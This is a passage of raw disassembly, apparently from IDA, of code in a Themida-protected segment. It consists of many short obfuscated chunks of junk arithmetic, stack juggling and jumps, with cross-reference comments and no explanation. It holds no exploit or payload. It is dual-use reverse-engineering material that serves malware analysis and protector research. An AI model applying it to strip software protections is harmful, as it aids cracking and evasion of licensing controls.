jmp loc_563C29
; ---------------------------------------------------------------------------
loc_561B42: ; CODE XREF: Themida_:00570245j
pop esi
jmp loc_56A436
; ---------------------------------------------------------------------------
loc_561B48: ; CODE XREF: Themida_:00569710j
mov ebp, [esp]
jmp loc_566453
; ---------------------------------------------------------------------------
loc_561B50: ; CODE XREF: Themida_:0055E8A1j
add eax, edi
jmp loc_55DFFF
; ---------------------------------------------------------------------------
loc_561B57: ; CODE XREF: Themida_:0056DE90j
sub eax, 786E7EF1h
jmp loc_5691C7
; ---------------------------------------------------------------------------
loc_561B61: ; CODE XREF: Themida_:00563B4Fj
push ecx
push esi
mov esi, 36326635h
mov ecx, esi
pop esi
push ecx
pop edi
pop ecx
sub esp, 4
mov [esp], eax
mov eax, 1
jmp loc_5680B5
; ---------------------------------------------------------------------------
loc_561B7E: ; CODE XREF: Themida_:005710FFj
add dword ptr [esp], 2D1470AFh
mov eax, [esp]
jmp loc_57030B
; ---------------------------------------------------------------------------
loc_561B8D: ; CODE XREF: Themida_:0056289Bj
inc esi
xor esi, 39880885h
xor ebx, esi
pop esi
xor ebp, ebx
pop ebx
xor ebp, 76975D3h
shl ebp, 5
push ebx
mov ebx, 924764C6h
xor ebp, ebx
pop ebx
add edi, ebp
mov ebp, [esp]
jmp loc_55E7E7
; ---------------------------------------------------------------------------
loc_561BB6: ; CODE XREF: Themida_:0056D3DBj
sub esp, 4
jmp loc_56B8F9
; ---------------------------------------------------------------------------
loc_561BBE: ; CODE XREF: Themida_:0056FD22j
xor ebp, 1F39771Ch
shl ebp, 4
dec ebp
sub ebp, 0A1D1D96Ah
push eax
mov eax, 7D97237Ah
or eax, 7B3448AEh
xor eax, 4A117B51h
jmp loc_562852
; ---------------------------------------------------------------------------
loc_561BE3: ; CODE XREF: Themida_:0056C099j
push 50F06C11h
mov edx, [esp]
jmp loc_56913B
; ---------------------------------------------------------------------------
loc_561BF0: ; CODE XREF: Themida_:005649A4j
neg ebx
inc ebx
jmp loc_560FB0
; ---------------------------------------------------------------------------
loc_561BF8: ; CODE XREF: Themida_:00571848j
mov eax, esp
jmp loc_55F0BC
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_561C08: ; CODE XREF: Themida_:0056352Ej
add esp, 4
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_561C13: ; CODE XREF: Themida_:0056878Aj
pop edx
xchg ecx, [esp]
pop esp
jmp loc_5713A2
; ---------------------------------------------------------------------------
loc_561C1D: ; CODE XREF: Themida_:0056FC4Ej
push 55h
jmp loc_56F838
; ---------------------------------------------------------------------------
loc_561C27: ; CODE XREF: Themida_:00569B1Aj
xor eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_564AC3
; ---------------------------------------------------------------------------
loc_561C35: ; CODE XREF: Themida_:005655EFj
push esi
mov esi, 424A4144h
push edx
mov edx, 0FFFFFFFFh
sub esi, edx
pop edx
jmp loc_56E5FB
; ---------------------------------------------------------------------------
loc_561C49: ; CODE XREF: Themida_:005662EBj
push ebx
mov ebx, esp
push esi
mov esi, 7DF07C5Eh
not esi
jmp loc_55FA02
; ---------------------------------------------------------------------------
loc_561C59: ; CODE XREF: Themida_:005709C4j
push ebx
mov ebx, 4C0F552Ah
and ebx, 43826602h
sub ebx, 581243C5h
xor ebx, 6CFC0E9Ch
not ebx
neg ebx
jmp loc_567802
; ---------------------------------------------------------------------------
loc_561C7A: ; CODE XREF: Themida_:00568E3Bj
mov esi, 1B0F009Ch
xor ebx, esi
pop esi
push ebx
jmp loc_56E26D
; ---------------------------------------------------------------------------
loc_561C88: ; CODE XREF: Themida_:0055E973j
sub esp, 4
mov [esp], ecx
mov ecx, 7B2E0E4Dh
and esi, ecx
mov ecx, [esp]
push esi
push esp
pop esi
jmp loc_55E7C5
; ---------------------------------------------------------------------------
loc_561CA0: ; CODE XREF: Themida_:005700FDj
mov esi, 2E31154Eh
neg esi
sub esi, 0FFFFFFFFh
inc esi
not esi
add esi, 0D3AD2639h
jmp loc_570160
; ---------------------------------------------------------------------------
loc_561CBB: ; CODE XREF: Themida_:0057089Dj
add ebp, 63871DDh
jmp loc_5600DC
; ---------------------------------------------------------------------------
loc_561CC6: ; CODE XREF: Themida_:00563E51j
push 3DFFh
jmp loc_56FD07
; ---------------------------------------------------------------------------
loc_561CD0: ; CODE XREF: Themida_:0056B22Ej
add ebx, 348F21F1h
push 7EF9h
jmp loc_57161D
; ---------------------------------------------------------------------------
loc_561CE0: ; CODE XREF: Themida_:00572423j
xchg ecx, [esp]
jmp loc_568228
; ---------------------------------------------------------------------------
loc_561CE8: ; CODE XREF: Themida_:00564770j
add esp, 4
push 1CD4h
jmp loc_56B589
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_561CF8: ; CODE XREF: sub_562A0A+3821j
or cl, 2Eh
xor cl, 4Ah
add dl, cl
pop ecx
sub dl, 1Fh
xor ah, dl
mov edx, [esp+0Ch+var_C]
add esp, 4
sub ah, 0FFh
sub ah, 85h
sub ah, 7
add bl, 0FCh
sub bl, ah
sub bl, 0FCh
mov eax, [esp+8+var_8]
add esp, 4
sub bl, cl
push edx
mov dl, 0BEh
xor dl, 0B0h
or dl, 2
shl dl, 3
push ecx
mov cl, 97h
jmp loc_570F9D
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_561D3C: ; CODE XREF: Themida_:0056512Aj
pop ebx
pop ecx
jmp loc_5703DA
; ---------------------------------------------------------------------------
loc_561D43: ; CODE XREF: Themida_:005623BDj
pop edi
jmp loc_57056D
; ---------------------------------------------------------------------------
loc_561D49: ; CODE XREF: Themida_:0056C41Aj
and ebx, 1DB77796h
neg ebx
add ebx, 42AC53D7h
xor ebx, 360A2157h
add ebp, ebx
jmp loc_5649F0
; ---------------------------------------------------------------------------
loc_561D64: ; CODE XREF: Themida_:0056469Ej
mov [esp], ebx
jmp loc_567C07
; ---------------------------------------------------------------------------
loc_561D6C: ; CODE XREF: Themida_:0055D3FBj
dec edx
add edx, 2792917h
add edx, 0FFFFFFFFh
not edx
not edx
xor edx, 0A5749E9Bh
jmp loc_5699B5
; ---------------------------------------------------------------------------
loc_561D88: ; CODE XREF: Themida_:0056B039j
sub esp, 4
jmp loc_567A28
; ---------------------------------------------------------------------------
loc_561D90: ; CODE XREF: Themida_:0056A766j
add eax, 4
push ebx
push edi
mov edi, 46850A66h
neg edi
jmp loc_56B703
; ---------------------------------------------------------------------------
loc_561DA3: ; CODE XREF: Themida_:00571FD9j
or ebp, 2B22660h
sub ebp, 2AC06570h
sub ebp, 2BFED8FCh
mov esi, ebp
pop ebp
jmp loc_5698E3
; ---------------------------------------------------------------------------
loc_561DBD: ; CODE XREF: Themida_:00562F6Fj
add esi, 4
jmp loc_56B38C
; ---------------------------------------------------------------------------
loc_561DC8: ; CODE XREF: Themida_:0056B173j
mov esi, [esp]
add esp, 4
push edx
mov edx, 25CD3D17h
xor edx, 0A04839h
push edi
mov edi, 57BA2BB4h
jmp loc_571665
; ---------------------------------------------------------------------------
loc_561DE8: ; CODE XREF: Themida_:005639E8j
sub [esp+4], esi
pop esi
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_561DF2: ; CODE XREF: Themida_:0056EA6Bj
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push ebp
mov ebp, 74EF1307h
not ebp
or ebp, 4E9C5541h
xor ebp, 2BB44846h
push 1796h
mov [esp], ebx
mov ebx, 39E32AADh
sub ebp, ebx
pop ebx
jmp loc_55DD77
; ---------------------------------------------------------------------------
loc_561E27: ; CODE XREF: Themida_:0055FB3Aj
mov ecx, edx
pop edx
push ecx
add dword ptr [esp], 6C107D2Fh
pop edx
sub edx, 6C107D2Fh
pop ecx
push 2778h
mov [esp], esi
push eax
mov eax, 416F0FCDh
or eax, 1FB93E75h
add eax, 1BAC0386h
add eax, 132E7FF9h
xor eax, 0D936B0ADh
mov esi, eax
pop eax
jmp loc_55F352
; ---------------------------------------------------------------------------
loc_561E64: ; CODE XREF: Themida_:0056F4A8j
mov ebx, 5C971567h
jmp loc_5606FA
; ---------------------------------------------------------------------------
loc_561E6E: ; CODE XREF: Themida_:0056F39Ej
mov edi, [esp]
add esp, 4
jmp loc_56D281
; ---------------------------------------------------------------------------
loc_561E7C: ; CODE XREF: Themida_:005671EAj
push 3925h
mov [esp], eax
mov eax, 6A6E1767h
jmp loc_566A36
; ---------------------------------------------------------------------------
loc_561E8E: ; CODE XREF: Themida_:0057052Dj
pop ecx
pop ecx
add ecx, 4
push esi
mov esi, 39B431D9h
sub esi, 700C18F7h
jmp loc_568951
; ---------------------------------------------------------------------------
loc_561EA7: ; CODE XREF: Themida_:00567A89j
pop eax
push esi
mov esi, esp
add esi, 4
jmp loc_55E10D
; ---------------------------------------------------------------------------
loc_561EB6: ; CODE XREF: Themida_:0056B0B8j
push esp
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_57051C
; ---------------------------------------------------------------------------
loc_561EC3: ; CODE XREF: Themida_:00570039j
sub esi, 734C2D52h
pop ecx
jmp loc_5647FB
; ---------------------------------------------------------------------------
loc_561ECF: ; CODE XREF: Themida_:0056FFADj
pop ebx
push esi
mov esi, 3C772A65h
inc esi
jmp loc_571F55
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 2703h
mov [esp], ecx
jmp loc_55E4F3
; ---------------------------------------------------------------------------
loc_561EF2: ; CODE XREF: Themida_:00564688j
mov eax, 460F303Ah
jmp loc_560BB1
; ---------------------------------------------------------------------------
loc_561EFC: ; CODE XREF: Themida_:0055DB88j
push 3DFBh
mov [esp], eax
push 7C62h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_57112C
; ---------------------------------------------------------------------------
loc_561F18: ; CODE XREF: Themida_:005616DEj
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_564A61
; ---------------------------------------------------------------------------
loc_561F44: ; CODE XREF: Themida_:005667B6j
mov edx, [esp]
add esp, 4
push edx
push esp
pop edx
jmp loc_572813
; ---------------------------------------------------------------------------
loc_561F55: ; CODE XREF: Themida_:00563E3Cj
xor cx, bp
xchg cx, [esp]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_561F61: ; CODE XREF: Themida_:00563115j
add esp, 4
push ebp
jmp loc_55F2C4
; ---------------------------------------------------------------------------
loc_561F6A: ; CODE XREF: Themida_:00561992j
add eax, ecx
push ebx
mov ebx, 248F14DCh
shl ebx, 2
jmp loc_57133B
; ---------------------------------------------------------------------------
loc_561F7A: ; CODE XREF: Themida_:00566E4Dj
xchg ebp, ebx
jmp loc_569458
; ---------------------------------------------------------------------------
loc_561F81: ; CODE XREF: Themida_:005719B8j
sub ebp, eax
push edx
mov edx, 588F5D72h
sub ebp, edx
pop edx
jmp loc_56E658
; ---------------------------------------------------------------------------
loc_561F91: ; CODE XREF: Themida_:0055FD0Aj
shr edi, 2
push ebp
mov ebp, 34370738h
xor edi, ebp
pop ebp
add edi, 1
neg edi
jmp loc_566A71
; ---------------------------------------------------------------------------
loc_561FAA: ; CODE XREF: Themida_:00564974j
sub esi, 53292216h
jmp loc_57096E
; ---------------------------------------------------------------------------
loc_561FB5: ; CODE XREF: Themida_:00560642j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_561FBA: ; CODE XREF: Themida_:0056ECB6j
push ebp
push esp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 4BD926B0h
sub esp, 4
mov [esp], esi
xchg edx, [esp]
not edx
xchg edx, [esp]
pop esi
jmp loc_56EBED
; ---------------------------------------------------------------------------
loc_561FDF: ; CODE XREF: Themida_:00563FC5j
pop ebx
jmp loc_560A79
; ---------------------------------------------------------------------------
loc_561FE5: ; CODE XREF: Themida_:00561B30j
sub dh, bh
pop ebx
sub dh, 95h
and cl, dh
pop edx
push ebx
mov bh, 0F2h
jmp loc_56DEBA
; ---------------------------------------------------------------------------
loc_561FF6: ; CODE XREF: Themida_:00571BF5j
mov [esp], ebx
jmp loc_56BB66
; ---------------------------------------------------------------------------
loc_561FFE: ; CODE XREF: Themida_:00572A1Fj
or eax, 11AC2CB2h
xor eax, 0DA629761h
sub esp, 4
mov [esp], eax
add dword ptr [esp], 40254431h
push dword ptr [esp]
pop esi
add esp, 4
push 281Ah
mov [esp], eax
mov eax, 394B1992h
xor eax, 502F17E3h
neg eax
or eax, 315039EDh
push ebp
mov ebp, 0
sub ebp, eax
xchg eax, ebp
jmp loc_5657A2
; ---------------------------------------------------------------------------
loc_562049: ; CODE XREF: Themida_:0057153Fj
add ebp, edx
pop edx
add ebp, 4
jmp loc_569437
; ---------------------------------------------------------------------------
loc_562054: ; CODE XREF: Themida_:00569B0Cj
pop cx
sub dl, 4Fh
sub al, 72h
add al, dl
add al, 72h
push dword ptr [esp]
pop edx
add esp, 4
sub bl, 65h
push ecx
mov ch, 43h
sub bl, ch
pop ecx
push eax
jmp loc_567609
; ---------------------------------------------------------------------------
loc_562075: ; CODE XREF: Themida_:00560DD3j
push ebx
mov bh, 6Ah
xor bh, 0FEh
jmp loc_56C082
; ---------------------------------------------------------------------------
loc_562080: ; CODE XREF: Themida_:0056C220j
add ebp, 4
jmp loc_56E125
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push esi
jmp loc_572737
; ---------------------------------------------------------------------------
loc_56209D: ; CODE XREF: Themida_:005659F3j
neg esi
not esi
sub esi, 215E4214h
add eax, esi
pop esi
jmp loc_56F4A5
; ---------------------------------------------------------------------------
loc_5620AF: ; CODE XREF: Themida_:0057124Aj
pop eax
push 5AA1h
mov [esp], ebx
mov ebx, 74096732h
sub ebx, 5EB33692h
jmp loc_56B7DC
; ---------------------------------------------------------------------------
loc_5620C8: ; CODE XREF: Themida_:0056600Dj
sub al, 0A2h
pop edx
sub al, bl
push 5646h
mov [esp], ecx
mov cl, 48h
add al, 22h
jmp loc_5600D5
; ---------------------------------------------------------------------------
loc_5620DE: ; CODE XREF: Themida_:0056057Bj
pop dword ptr [esp]
pop esp
idiv cx
push small 1746h
mov [esp], dx
push ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5620F5: ; CODE XREF: Themida_:00565991j
mov [esp], edx
mov ebx, [esp]
push 3EEBh
mov [esp], ecx
jmp loc_56B9A4
; ---------------------------------------------------------------------------
loc_562108: ; CODE XREF: Themida_:0055F314j
mov ebx, 2
mov edx, ebx
pop ebx
jmp loc_572794
; ---------------------------------------------------------------------------
loc_562115: ; CODE XREF: Themida_:00570C51j
push edx
pop esi
mov edx, [esp]
add esp, 4
push edx
push 1556h
mov [esp], eax
mov eax, 786E56EAh
mov edx, eax
pop eax
push ecx
mov ecx, 0D1914D5h
sub edx, 5A877A1h
jmp loc_56E1A8
; ---------------------------------------------------------------------------
loc_56213F: ; CODE XREF: Themida_:0056C3DDj
mov edi, 0C873FACh
add edi, 7A257B9Fh
jmp loc_5664E8
; ---------------------------------------------------------------------------
loc_56214F: ; CODE XREF: Themida_:0055E884j
add dword ptr [esp], 4
pop edx
add edx, 4
jmp loc_564BD6
; ---------------------------------------------------------------------------
loc_56215F: ; CODE XREF: Themida_:0055F405j
mov [esp], edx
push 5439h
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push 7CECh
mov [esp], edi
push 4
mov edi, [esp]
add esp, 4
add edx, edi
push dword ptr [esp]
pop edi
push ebx
push esp
pop ebx
jmp loc_5682F2
; ---------------------------------------------------------------------------
loc_56219B: ; CODE XREF: Themida_:0056C688j
push 51Fh
mov [esp], edx
mov edx, 3CA9698Eh
add [esp+4], edx
mov edx, [esp]
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5621B7: ; CODE XREF: Themida_:0055F57Aj
mov ebp, 30B0701Ah
not ebp
jmp loc_565806
; ---------------------------------------------------------------------------
loc_5621C3: ; CODE XREF: Themida_:0055EAF9j
sub edi, 54B0621Bh
xor edi, 2C58550Bh
add ebx, edi
pop edi
add ebx, edi
sub ebx, 31D64092h
push eax
mov eax, 8AA4043h
not eax
push esi
mov esi, 2CC76979h
xor eax, esi
pop esi
neg eax
push esi
jmp loc_56F4AD
; ---------------------------------------------------------------------------
loc_5621F3: ; CODE XREF: Themida_:0056EC72j
xor edx, eax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5621FA: ; CODE XREF: Themida_:005706C7j
sub eax, 502508F6h
jmp loc_56870C
; ---------------------------------------------------------------------------
loc_562204: ; CODE XREF: Themida_:00560623j
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
jmp loc_56FA62
; ---------------------------------------------------------------------------
loc_562211: ; CODE XREF: Themida_:0056EA9Ej
mov [esp], ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
mov esi, [esp]
add esp, 4
push 1CE3h
mov [esp], edx
mov edx, 4
sub esi, 22A379A1h
add esi, edx
add esi, 22A379A1h
mov edx, [esp]
push 7066h
mov [esp], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_561571
; ---------------------------------------------------------------------------
loc_56225C: ; CODE XREF: Themida_:005609BEj
sub esp, 4
mov [esp], esi
mov esi, 0
sub esi, ebx
mov ebx, esi
jmp loc_56C65A
; ---------------------------------------------------------------------------
loc_562273: ; CODE XREF: Themida_:0055D83Ej
pop ebx
jmp loc_56F840
; ---------------------------------------------------------------------------
loc_562279: ; CODE XREF: Themida_:00563320j
pop eax
dec edx
push 29F4h
mov [esp], ecx
mov ecx, 4A4C425Eh
push ebp
mov ebp, 365C2F19h
and ecx, ebp
pop ebp
sub ecx, 59187F21h
add ecx, 0BB369241h
and edx, ecx
jmp loc_56431A
; ---------------------------------------------------------------------------
loc_5622A4: ; CODE XREF: Themida_:0056DB04j
xor dh, 0F8h
shr dh, 2
add dh, 32h
jmp loc_56D59E
; ---------------------------------------------------------------------------
loc_5622B2: ; CODE XREF: Themida_:0057064Cj
sub ebx, 51E37C9Dh
add ebx, eax
push edx
mov edx, 51E37C9Dh
add ebx, edx
pop edx
jmp loc_565354
; ---------------------------------------------------------------------------
loc_5622C8: ; CODE XREF: Themida_:0056ED2Aj
add edi, 4ACFADA3h
add eax, 3CE70DD2h
sub eax, 3F5468EAh
add eax, edi
add eax, 3F5468EAh
push ecx
mov ecx, 2863338Bh
sub esp, 4
mov [esp], edi
mov edi, 72596C0Eh
or ecx, edi
pop edi
jmp loc_55D945
; ---------------------------------------------------------------------------
loc_5622F8: ; CODE XREF: Themida_:005646A4j
mov eax, 0E88517Ah
mov edi, eax
pop eax
xor esi, edi
pop edi
jmp loc_567317
; ---------------------------------------------------------------------------
loc_562308: ; CODE XREF: Themida_:00564343j
sub eax, 363849C0h
push ebp
push edx
mov edx, 45250391h
add edx, 0FBE91E4Eh
mov ebp, edx
jmp loc_567B3F
; ---------------------------------------------------------------------------
push 5645h
sub esp, 4
jmp loc_56EAA3
; ---------------------------------------------------------------------------
loc_562331: ; CODE XREF: Themida_:0056503Ej
add edx, 4
add edx, 4
jmp loc_56C5DC
; ---------------------------------------------------------------------------
loc_562342: ; CODE XREF: Themida_:005703D5j
add ebp, 0CA15FD51h
jmp loc_5655BA
; ---------------------------------------------------------------------------
loc_56234D: ; CODE XREF: Themida_:0056DD97j
pop esp
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_56C3B6
; ---------------------------------------------------------------------------
loc_56235E: ; CODE XREF: Themida_:00572378j
add esp, 4
jmp loc_569345
; ---------------------------------------------------------------------------
loc_562369: ; CODE XREF: Themida_:005600C2j
push esi
mov esi, 116D5557h
xor eax, esi
pop esi
jmp loc_567880
; ---------------------------------------------------------------------------
loc_562377: ; CODE XREF: Themida_:0055EE6Dj
sub ecx, ebx
jmp loc_55E674
; ---------------------------------------------------------------------------
loc_56237E: ; CODE XREF: Themida_:00566291j
mov ebx, 4
mov ecx, ebx
pop ebx
add esi, ecx
mov ecx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
add esi, 4
add esi, 2
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5623BB: ; CODE XREF: Themida_:0056C98Bj
xor edx, edi
jmp loc_561D43
; ---------------------------------------------------------------------------
loc_5623C2: ; CODE XREF: Themida_:0056B6F8j
sub ebx, 40C5566Ch
jmp loc_569E54
; ---------------------------------------------------------------------------
loc_5623CD: ; CODE XREF: Themida_:00563EB8j
mov [esp], edi
push edx
mov edx, 17EF6731h
inc edx
jmp loc_562813
; ---------------------------------------------------------------------------
loc_5623DC: ; CODE XREF: Themida_:00565677j
sub ebp, eax
pop eax
jmp loc_565F19
; ---------------------------------------------------------------------------
loc_5623E4: ; CODE XREF: Themida_:00564EB9j
mov esi, [esp]
jmp loc_562477
; ---------------------------------------------------------------------------
loc_5623EC: ; CODE XREF: Themida_:00563C32j
or bl, dh
push dword ptr [esp]
pop edx
add esp, 4
inc bl
xor bl, 3Ah
or bl, 0A0h
push edx
mov dl, 1Dh
jmp loc_5713DB
; ---------------------------------------------------------------------------
loc_562408: ; CODE XREF: Themida_:0056FA28j
pop dword ptr [edx+30h]
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_5648F3
; ---------------------------------------------------------------------------
loc_56241C: ; CODE XREF: Themida_:0056E3F1j
dec ebx
push edi
jmp loc_55FFDD
; ---------------------------------------------------------------------------
loc_562423: ; CODE XREF: Themida_:00562BC7j
add esp, 4
jmp loc_56E5C3
; ---------------------------------------------------------------------------
lodsb
push ebx
sub esp, 4
jmp loc_56167F
; ---------------------------------------------------------------------------
loc_56243B: ; CODE XREF: Themida_:0056F1AAj
add edi, 4
jmp loc_5650A3
; ---------------------------------------------------------------------------
loc_562446: ; CODE XREF: Themida_:0056F35Bj
pop edx
pop edi
push ecx
push edi
mov edi, 21380D7Fh
mov ecx, edi
mov edi, [esp]
add esp, 4
push ebx
mov ebx, 7B51A65h
add ecx, ebx
pop ebx
sub ecx, 1
push ecx
xchg edi, [esp]
not edi
xchg edi, [esp]
jmp loc_567D1D
; ---------------------------------------------------------------------------
loc_562477: ; CODE XREF: Themida_:005623E7j
add esp, 4
add eax, edx
mov edx, [esp]
add esp, 4
sub eax, 1F5D7080h
sub eax, ebx
add eax, 1F5D7080h
sub eax, 0A2B5561h
push 13F4h
mov [esp], edi
push ecx
push 731F3A81h
mov ecx, [esp]
add esp, 4
jmp loc_568527
; ---------------------------------------------------------------------------
loc_5624AC: ; CODE XREF: Themida_:0056D908j
add esi, 4
jmp loc_560CF1
; ---------------------------------------------------------------------------
loc_5624B7: ; CODE XREF: Themida_:0056A6EAj
sub esp, 4
mov [esp], ebp
push eax
mov eax, 1F7E58E7h
not eax
jmp loc_569CA5
; ---------------------------------------------------------------------------
loc_5624CD: ; CODE XREF: Themida_:00570416j
mov ah, 7
jmp loc_567786
; ---------------------------------------------------------------------------
loc_5624D4: ; CODE XREF: Themida_:0056D636j
mov edx, 4
add ebp, edx
pop edx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5624ED: ; CODE XREF: Themida_:005638BEj
mov [esp], edx
push 147C6470h
pop edx
jmp loc_564C7F
; ---------------------------------------------------------------------------
loc_5624FB: ; CODE XREF: Themida_:00560A23j
push dword ptr [esp]
pop ebx
add esp, 4
shr ebx, 2
sub ebx, 78FB7617h
shr ebx, 7
sub ebx, 441686Bh
shl ebx, 7
push edx
jmp loc_55F861
; ---------------------------------------------------------------------------
mov cx, [esp]
push 7200h
mov [esp], edx
push esp
pop edx
jmp loc_569A56
; ---------------------------------------------------------------------------
loc_562530: ; CODE XREF: Themida_:0056F54Fj
xchg ebp, [esp]
pop esp
jmp loc_56F902
; ---------------------------------------------------------------------------
loc_562539: ; CODE XREF: Themida_:00565536j
div ecx
jmp loc_5719BD
; ---------------------------------------------------------------------------
loc_562540: ; CODE XREF: Themida_:00572438j
neg si
jmp loc_56518A
; ---------------------------------------------------------------------------
loc_562548: ; CODE XREF: Themida_:0056E8B4j
or esi, 6BBF12E4h
jmp loc_56B85C
; ---------------------------------------------------------------------------
loc_562553: ; CODE XREF: Themida_:00571294j
mov ecx, 4
mov ebx, ecx
pop ecx
add dword ptr [esp+4], 5F417D39h
jmp loc_56B82D
; ---------------------------------------------------------------------------
loc_562568: ; CODE XREF: Themida_:0057150Bj
add esi, ebp
jmp loc_560D4D
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push ecx
jmp loc_56447C
; ---------------------------------------------------------------------------
loc_562585: ; CODE XREF: Themida_:00560321j
pop ebx
jmp loc_5695AB
; ---------------------------------------------------------------------------
loc_56258B: ; CODE XREF: Themida_:00570133j
mov [esp], edx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
jmp loc_56E8C1
; ---------------------------------------------------------------------------
loc_5625A1: ; CODE XREF: Themida_:0056356Bj
mov al, 0CEh
add al, 4
shr al, 4
jmp loc_56AE76
; ---------------------------------------------------------------------------
loc_5625AD: ; CODE XREF: Themida_:0056F5B2j
neg edx
xor edx, 4242121Eh
xor edx, 0DA3B560Dh
add eax, edx
jmp loc_56ED58
; ---------------------------------------------------------------------------
loc_5625C2: ; CODE XREF: Themida_:0055E33Bj
add edx, 67542990h
add ebp, 1BAD7990h
add ebp, edx
sub ebp, 1BAD7990h
mov edx, [esp]
add esp, 4
jmp loc_565778
; ---------------------------------------------------------------------------
loc_5625E1: ; CODE XREF: Themida_:0056D890j
sub esp, 4
mov [esp], ebp
mov ebp, 0E7C5737h
or ebp, 317E4577h
jmp loc_56C5A6
; ---------------------------------------------------------------------------
loc_5625F7: ; CODE XREF: Themida_:00570948j
add eax, edx
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_564536
; ---------------------------------------------------------------------------
loc_562610: ; CODE XREF: Themida_:00564831j
mov [esp], edi
push esp
pop edi
add edi, 4
push edx
mov edx, esp
add edx, 4
push 58CBh
mov [esp], eax
jmp loc_56F264
; ---------------------------------------------------------------------------
loc_562631: ; CODE XREF: Themida_:005678A0j
mov [esp], edi
jmp loc_56878F
; ---------------------------------------------------------------------------
loc_562639: ; CODE XREF: Themida_:0056D200j
mov esi, 0F8AC7B80h
add ebp, esi
pop esi
jmp loc_55FBD8
; ---------------------------------------------------------------------------
loc_562646: ; CODE XREF: Themida_:00571D89j
add ebx, 17D193E8h
add edx, ebx
pop ebx
push ebx
mov ebx, 1C7E50F1h
jmp loc_56D7E8
; ---------------------------------------------------------------------------
loc_56265A: ; CODE XREF: Themida_:0056EF4Fj
mov eax, ebx
jmp loc_5727ED
; ---------------------------------------------------------------------------
loc_562661: ; CODE XREF: Themida_:00571A23j
add dword ptr [esp+4], 1CF52255h
push dword ptr [esp]
pop edi
push edi
push esp
pop edi
add edi, 4
push 460Bh
mov [esp], ebp
mov ebp, 4
jmp loc_56AC66
; ---------------------------------------------------------------------------
loc_562688: ; CODE XREF: Themida_:00571E84j
mov ebx, [esp]
add esp, 4
push ax
mov al, 27h
or ch, al
pop ax
dec ch
add ch, 43h
add al, 0F1h
jmp loc_5634EA
; ---------------------------------------------------------------------------
loc_5626A2: ; CODE XREF: Themida_:0056AD6Fj
pop esi
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
xor ebx, 1BBD7FD2h
jmp loc_56DF40
; ---------------------------------------------------------------------------
loc_5626BB: ; CODE XREF: Themida_:00566EA4j
pop ebx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esi
push 4465h
mov [esp], edx
jmp loc_55ECF1
; ---------------------------------------------------------------------------
loc_5626D6: ; CODE XREF: Themida_:00566C22j
mov cx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_55D8D9
; ---------------------------------------------------------------------------
loc_5626E8: ; CODE XREF: Themida_:00571C23j
push cx
mov ch, 51h
add bl, ch
pop cx
jmp loc_569633
; ---------------------------------------------------------------------------
loc_5626F5: ; CODE XREF: Themida_:0055D706j
sub esi, 69597DD5h
sub esi, 0C5AC567h
jmp loc_56FEEE
; ---------------------------------------------------------------------------
loc_562706: ; CODE XREF: Themida_:00569F3Ej
xor eax, ecx
sub esp, 4
mov [esp], eax
xor [esp], ecx
xor ecx, [esp]
jmp loc_55D9E3
; ---------------------------------------------------------------------------
loc_562719: ; CODE XREF: Themida_:005606D3j
mov edi, 37E91A75h
add edi, 0C816E58Fh
sub ebx, 5DE44D24h
jmp loc_5672A3
; ---------------------------------------------------------------------------
loc_56272F: ; CODE XREF: Themida_:00564693j
add edi, ebp
pop ebp
jmp loc_56A995
; ---------------------------------------------------------------------------
loc_562737: ; CODE XREF: Themida_:0056027Bj
mov [esp], ax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_562740: ; CODE XREF: Themida_:0055FD65j
add eax, 58C2ED2Dh
mov edi, eax
jmp loc_55D7D1
; ---------------------------------------------------------------------------
loc_56274C: ; CODE XREF: Themida_:005719E1j
push eax
mov eax, 34F07827h
sub eax, 0CA4231F0h
or edx, eax
pop eax
jmp loc_571FDE
; ---------------------------------------------------------------------------
loc_56275F: ; CODE XREF: Themida_:005605ADj
push 346Fh
mov [esp], eax
push 35E7h
mov [esp], edi
